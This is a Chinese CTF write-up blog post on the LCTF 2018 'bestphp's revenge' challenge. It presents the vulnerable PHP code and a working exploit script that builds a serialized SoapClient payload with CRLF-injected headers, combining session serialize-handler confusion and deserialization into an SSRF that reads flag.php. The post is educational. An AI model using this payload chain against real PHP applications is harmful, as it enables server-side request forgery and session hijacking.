刷题[bestphp's revenge]
前置知识
即:利用漏洞,注入一个CRLF(\r\n)控制用户的Cookie,或者注入两个CRLF,控制返回给客户端的主体
SOAP,简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML(标准通用标记语言下的一个子集)的协议。
直接看php文档手册,找到soap类

看到此函数的别名,跳转进SoapClient::SoapClient

第一个参数的意思是:控制是否是wsdl模式,如果为NULL,就是非wsdl模式.如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,

第二个参数的意思是:一个数组,里面是soap请求的一些参数和属性。
解题思路
打开发现直接以代码的方式呈现

如果单看代码的话,这里正好开了session,其实我最先想到的是用session_id获取PHPSESSID,在PHPSESSID中传入hex的危险代码,利用回调函数成功执行,但是并没有能执行?
大致做些常用的操作,检查有无信息泄露等,发现flag.php直接是可以访问的

看着这个很明显的,要用ssrf了,但具体怎么用呢
代码审计
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
先审计一波,发现开启了会话,在php7版本中,有如下特性:

其中有这样一句话
PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session 的配置项。这个特性也引入了一个新的 php.ini 设置(session.lazy_write)
那么我们就可以利用回调函数,通过给f传参,值为session_start,然后post提交array('serialize_handler'=>'php_serialize')
即达到session_start(array('serialize_handler' => 'php_serialize')) ,将会根据php7特性设置session.serialize_handler=php_serialize
之后发现session是可控的,可以通过传入name值,任意伪造。这里就想到name传入的是序列化值了,序列化exp
编写exp
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "karsa\r\nCookie:PHPSESSID=12649rm10rjdt2s1riquginfd2\r\n",
'uri' => "http://127.0.0.1/"));
$se = serialize($b);
echo urlencode($se);
为什么要加入user_agent?
因为我们这里引入两个\r\n,检测到第一个\r\n时,认为前面一个首部字段user_agent结束了,cookie会被当作下一行。检测到第二个\r\n时结束,正好成功实现了flag的辨别操作
此时已经有序列化内容,我们思考如何进行反序列化,通过反序列化读取
我们目前只用了第一个回调函数,第二个回调还没用,如果这个时候我们再次传参,因为name已经国定在session中,所以再次利用回调函数,这里先传入extract(),将$b覆盖成回调函数,变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')),因为SoapClient中并没有此方法,所以调用SoapClient中的__call方法
可以看到session已经存入其中
操作流程:

感觉这道题含金量真的很高,对session的知识点也考的很好,这里其实我并没有理解的很深,但是明天就要去北京参加护网了,得马上收拾行李赶火车去了,博客更新也先告一段落。希望护网回来的自己更强
冲冲冲!!!
刷题[bestphp's revenge]的更多相关文章
- 刷题记录:[LCTF]bestphp's revenge
目录 刷题记录:[LCTF]bestphp's revenge 一.知识点 1.SoapClient触发反序列化导致ssrf 2.serialize_hander处理session方式不同导致sess ...
- BUU刷题01
[安洵杯 2019]easy_serialize_php 直接给了源代码 <?php $function = @$_GET['f']; function filter($img){ $filte ...
- LeetCode刷题系列
LeetCode 我们工作面试和提高自身数据结构和算法能力的时候往往需要刷刷题,我选择LeetCode是通过一个留学论坛了解的.专业,覆盖语种全面. 提前说说刷题的心得: 尽量手写代码,少使用IDE的 ...
- ife任务刷题总结(一)-css reset与清除浮动
本文同时发布于本人的个人网站www.yaoxiaowen.com 百度创办的前端技术学院,是一个面向大学生的前端技术学习平台.虽然只有大学生才有资格报名,提交代码进行比赛排名.但是这并不妨碍我们这些初 ...
- 刷题ING...
我用codeVS刷题.. 努力准备!!
- XidianOJ 1020 ACMer去刷题吧
题目描述 刷题是每个ACMer必由之路,已知某oj上有n个题目,第i个题目小X能做对的概率为Pi(0<=Pi<=1,1<=i<=n) 求小X至少做对k道题的概率 输入 第一行输 ...
- 【BZOJ-4590】自动刷题机 二分 + 判定
4590: [Shoi2015]自动刷题机 Time Limit: 10 Sec Memory Limit: 256 MBSubmit: 156 Solved: 63[Submit][Status ...
- NOI题库分治算法刷题记录
今天晚自习机房刷题,有一道题最终WA掉两组,极其不爽,晚上回家补完作业欣然搞定它,特意来写篇博文来记录下 (最想吐槽的是这个叫做分治的分类,里面的题目真的需要分治吗...) 先来说下分治法 分治法的设 ...
- NOI题库刷题日志 (贪心篇题解)
这段时间在NOI题库上刷了刷题,来写点心得和题解 一.寻找平面上的极大点 2704:寻找平面上的极大点 总时间限制: 1000ms 内存限制: 65536kB 描述 在一个平面上,如果有两个点( ...
随机推荐
- ethtool 设置网卡接收哈希
检查 [root@localhost]# ethtool -n eth1 rx-flow-hash tcp4 TCP over IPV4 flows use these fields for comp ...
- cenos 7 mysql
CentOS 7的yum源中貌似没有正常安装mysql时的mysql-sever文件,需要去官网上下载 # wget http://dev.mysql.com/get/mysql-community- ...
- Matplotlib&Numpy
Matplotlib 是专门用于开发2D图表(包括3D图表) 以渐进.交互式方式实现数据可视化 实现一个简单的Matplotlib画图 ①导入:matplotlib.pytplot包含了一系列类似于m ...
- 算法-图(2)Bellman-Ford算法求最短路径
template <class T,class E> void Bellman-Ford(Graph<T,E>&G, int v, E dist[], int path ...
- Neurosurgeon: Collaborative Intelligence Between the Cloud and Mobile Edge
郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! ASPLOS ’17, April 08-12, 2017, Xi’an, China Abstract 如今的智能个人助理,如Apple ...
- Java数据结构——二叉树的遍历(汇总)
二叉树的遍历分为深度优先遍历(DFS)和广度优先遍历(BFS) DFS遍历主要有: 前序遍历 中序遍历 后序遍历 一.递归实现DFSNode.java: public class Node { pri ...
- codeforce Round #599(Div.2)
题目传送门 A. Maximum Square 题目意思是给你n个长条,每个长条的高度是num[i](0 < i < n),每一条的宽度都是 1 :然后求这些长条可以组成的最大面积的正方形 ...
- Python开发的入门教程(五)-set
介绍 本文主要介绍Python中set的基本知识和使用. Python中什么是set dict的作用是建立一组 key 和一组 value 的映射关系,dict的key是不能重复的. 有的时候,我们只 ...
- 项目通用配置xml
SqlMapperClient.xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE co ...
- 设计模式C++模板(Template)模式
设计模式C++描述----02.模板(Template)模式(转载) 一. 问题 在面向对象系统的分析与设计过程中经常会遇到这样一种情况:对于某一个业务逻辑(算法实现)在不同的对象中有不同的细节实现, ...